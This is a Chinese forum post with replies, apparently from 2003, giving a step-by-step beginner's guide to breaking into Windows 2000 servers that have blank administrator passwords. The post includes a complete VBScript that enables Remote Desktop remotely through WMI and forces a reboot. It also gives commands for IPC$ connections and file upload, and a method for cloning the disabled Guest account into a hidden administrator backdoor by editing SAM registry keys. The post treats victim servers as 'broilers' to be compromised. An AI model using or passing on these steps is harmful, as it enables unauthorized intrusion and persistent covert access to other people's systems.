一次简单的3389入侵

firelinux

一次简单的3389入侵过程 7 J! Q5 T: U' V$ K. B原创：caozhe（草哲） 来源：中国欲网技术论坛--草哲 8 w% \) N) m. J/ T3 t 我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ ! P8 r1 }5 i7 i: z5 M" q4 ?* o+ `于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ 9 n9 ]9 U! n. M! ?+ S+ `, I要入侵，我建议你在win2000环境下来*作！ 首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ ! s0 b$ T8 L, @5 X扫描的X-Scan V2.3、WINNTAutoAttack、流光！ 1 b2 X" B- T/ b# Y3 D$ dX-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ 远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 克隆帐户用个psu就可以了~！ - X8 R9 T5 b+ s& T x: L5 h- j( D0 u8 v1 TOK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 6 ?5 O5 A H# |, G# H9 _运行CMD（2000下的DOS），我们给它开终端！ 0 j& x' n, |7 M0 g# b9 ]# e3 U3 a2 L0 W命令如下！ cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr 上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） _7 O3 G) P5 P8 a$ [& C' y因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ 一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t : r {8 t4 x5 p9 q) ]/ H& d安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ ' l, W+ U: l0 p* g% B: W$ w7 w 回到DOS下！我们建立IPC$连接！ ! X* q8 u, V3 o/ m* K- d. Enet use \\120.0.0.1\ipc$ "" /user:"administrator" ) E: T* f# p$ X( K, O4 l; x: M这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ copy psu.exe \\120.0.0.1\admin$\system32 上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ / r" L, S/ c Z5 L) ^ 假设guest用户被禁用，我们就是要利用guest做后门帐户！ 在该服务器运行CMD，在命令行下输入 psu -p regedit -i PID & b4 S& D3 ]' d+ L! c! y 3 R* I' V5 m5 e1 j6 {0 y) g这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ / m' @) q% f! Z- H看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 , W; d! z4 I# H+ v6 ]" opsu -p regedit -i 5458 - A. Q( c6 ]2 C# h这样直接打开注册表，可以读取本地sam的信息。 - ^' U2 q% G4 R" Y. ]打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users " \) d3 t& l7 o( n- p: s: q$ r下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names : f7 }+ Z; V+ Y) _查看administrator的类型，是if4，再看guest的是if5 - U2 m: T# P1 u( l0 h. ~; H好了，知道了类型后，打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 * r8 l5 y" u) B: M d# o0 ?这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 ' {' ], s8 D' EHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 5 g( W7 @9 v4 i/ z6 v3 l% U4 i4 j+ N* V双击右侧的F，把刚复制的粘贴到里面！ - s+ u. i$ b1 ^( N* n1 ?; x# Y) g做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest . k) G7 B6 x! ?3 M5 B: x这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 打开CMD，在命令行下输入 * S2 v' J' T# w" k* i" P1 knet user guest password 9 D3 a0 o$ e' Z" e& B% j) I这条命令是给guest设置密码，后面的password就是密码 然后输入 0 O' I5 d/ n5 W$ o0 g3 Rnet user guest /active:y 这命令是激活guest帐户，然后我们把他禁用 net user guest /active:n 上面的三行命令必须在DOS下执行！ 9 d& o; L0 F/ z; L- o& ?, } 6 w# I0 i, z! D1 y: I# XOK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ 而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ / \& F8 w7 C8 Q$ s4 J2 S; f注销一下，用guest登陆吧！ $ N% s, r0 t) r9 O+ c4 S7 b& j. e G5 x7 c# b, s+ P. `5 H/ c( g打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ 6 o6 \, V) ^' m8 n1 L) I/ a/ C如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ 因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ 0 a) g( P: [+ ]7 i+ M1 Q ---------------------------------------------------------------------- 8 o: F6 ^7 |7 B9 r以下是开终端的脚本，把它存为*.vbe $ a7 Z% ]/ H$ W" d. b9 t- |4 c: Hon error resume next 4 w3 d z6 R: X& _. r7 |set outstreem=wscript.stdout 5 y$ z6 e% z- G% ^8 zset instreem=wscript.stdin . v1 a; k E3 f. Y. O& ]1 v3 }) xif (lcase(right(wscript.fullname,11))="wscript.exe") then v* c" u2 J9 {4 Q2 Z/ t' B set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit $ ~, r, p! P* T4 s& Bend if if wscript.arguments.count<3 then usage() wscript.echo "Not enough parameters." wscript.quit end if ( m8 F! S. U- Y$ ~1 e& r " K0 c+ m9 S% x3 s) q) K% E# u# Eipaddress=wscript.arguments(0) username=wscript.arguments(1) . {, ^$ }' N- Epassword=wscript.arguments(2) if wscript.arguments.count>3 then + y! }" {. N7 h* s; M, T port=wscript.arguments(3) else port=3389 |; x! S7 v% l+ h# ]2 aend if if not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quit : o) o3 R4 h( o/ w1 u# n" aend if if wscript.arguments.count>4 then reboot=wscript.arguments(4) 3 B9 y0 E, w+ P/ }8 oelse reboot="" 4 s# k8 l, \: e }; h& e7 aend if & N2 M) k5 Q# ^# F9 N" {2 X usage() outstreem.write "Conneting "&ipaddress&" ...." set objlocator=createobject("wbemscripting.swbemlocator") ( n( K, n+ B( d! W! Y1 {( Pset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) " t" F f- U wshowerror(err.number) objswbemservices.security_.privileges.add 23,true 9 ?3 O" I. ?3 I' ~0 Eobjswbemservices.security_.privileges.add 18,true outstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") $ Z7 O9 K4 v0 s& cfor each objinstoscaption in colinstoscaption % t) J7 X" u4 T) D5 z9 ]5 L if instr(objinstoscaption.caption,"Server")>0 then wscript.echo "OK!" else wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" ( v2 {5 ]: K1 M* y strcancel=instreem.readline : V1 T( D9 q+ W if lcase(strcancel)<>"n" then wscript.quit $ g, P" s* X, ]" {, f( q end if next " r1 w, f8 C& ]- z6 [( i 6 b! H/ d! N6 Y7 Zoutstreem.write "Writing into registry ...." * `: l" ?! j/ ~1 Z9 r' ~set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") / |3 i: M# X6 h! oHKLM=&h80000002 : U+ t! B+ k6 u5 HHKU=&h80000003 with objinstreg 7 v; F; `$ x ^" ^9 `.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" .setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 9 t I+ H8 t6 S6 D. L# J.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 6 F) ?8 L- n) D2 u% w.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" * K0 m5 U0 j9 e3 }, p0 p2 l) J.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port & J- K: O2 H+ v8 h; w/ i6 Lend with showerror(err.number) rebt=lcase(reboot) flag=0 2 C+ c& g4 ~- \! A7 ]2 C+ {' Lif rebt="/r" or rebt="-r" or rebt="\r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 ( I- l. C5 X3 P6 |4 L3 `if flag<>0 then # q) p4 W7 Y- d; y. v. O outstreem.write "Now, reboot target...." strwqlquery="select * from win32_operatingsystem where primary='true'" set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances 1 ] w! a4 l! N, ~1 D objinstance.win32shutdown(flag) next & N, F8 ^6 Y+ u0 f* i showerror(err.number) 2 r9 C$ S4 l& F$ Qelse wscript.echo "You need to reboot target."&vbcrlf&"Then," end if wscript.echo "You can logon terminal services on "&port&" later. Good luck!" function showerror(errornumber) ) }6 _$ C" E0 h6 }+ P, @/ jif errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." R3 u! @0 F7 }3 ` if err.description <> "" then wscript.echo "Error description: "&err.description&"." 9 ^ J1 I9 Q- K8 m) T end if wscript.quit else wscript.echo "OK!" end if # D; D3 ~5 a2 ?/ v) y# @# zend function 8 _0 }% q$ S/ G; W3 A/ I: @ 6 l4 G% l* O9 U Efunction usage() : b5 Y( z8 G2 `) I" ewscript.echo string(79,"*") wscript.echo "ROTS v1.05" % @! r4 Y1 Q7 ^0 {) `wscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" 1 v9 _7 w& V, g- x3 B* i# T) mwscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" wscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." ; x1 \0 ]' f2 B5 gwscript.echo "/fr: auto force reboot target." wscript.echo string(79,"*")&vbcrlf 1 p0 p, S# S+ v: u5 f% d$ b, v# Pend function + ]# ?8 l% k- d6 Y M转自安全焦点

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。

$ I/ l) w9 o+ V5 I
/ z. H/ {8 E# w( i9 X& h
/ P# }& Q  {2 J% l

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

这么好的东西好象没有人看,是不感兴趣吗?
还是什么的,看来我们工程学院还真有很多不错的角色哦!